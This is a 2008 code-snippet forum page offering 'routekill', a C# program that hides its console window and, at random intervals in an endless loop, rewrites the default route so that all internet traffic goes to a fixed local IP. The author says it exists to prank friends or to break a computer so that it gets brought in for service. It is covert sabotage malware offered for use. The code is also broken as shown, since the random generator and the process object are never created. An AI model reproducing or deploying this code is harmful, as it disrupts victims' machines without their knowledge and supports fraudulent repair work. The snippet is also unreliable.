What's Here?
- Members: 300,338
- Replies: 825,677
- Topics: 137,398
- Snippets: 4,417
- Tutorials: 1,147
- Total Online: 1,688
- Members: 113
- Guests: 1,575
|
The purpose is to muck with the routing table for either a joke on your friends or in the case of why it was originally made, to create a problem so that the computer would be brought in for service. Snippet also demonstrates how to hide the cmd window when running scripts from a C# application.
|
Submitted By: snoj
|
|
Rating:

|
|
Views: 1,016 |
Language: C#
|
|
Last Modified: December 24, 2008 |
|
Instructions: If need be, change "192.168.1.2" to whatever IP address you require. |
Snippet
using System;
using System.Collections.Generic;
using System.Diagnostics;
namespace routekill
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// This simple application routes all internet traffic to 192.168.1.2 or whatever ip it's set to.
/// The purpose is to muck with the routing table for either a joke on your friends or in the case of
/// why it was originally made, to create a problem so that the computer would be brought in for service.
///
/// Application changes default route at random times between 1 and 60 seconds.
/// </summary>
[STAThread]
static void Main()
{
System.Threading.Thread.Sleep(r.Next(1, 60) * 1000);
Process a;
while (true)
{
//Added ProcessWindowStyle.Hidden which should hide
//the cmd window.
a.StartInfo.CreateNoWindow = true;
a.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
a.StartInfo.FileName = "route";
a.StartInfo.Arguments = "change 0.0.0.0 mask 0.0.0.0 192.168.1.2";
a.Start();
a.Close();
System.Threading.Thread.Sleep(r.Next(1, 60) * 1000);
}
}
}
}
Copy & Paste
|
|
|
|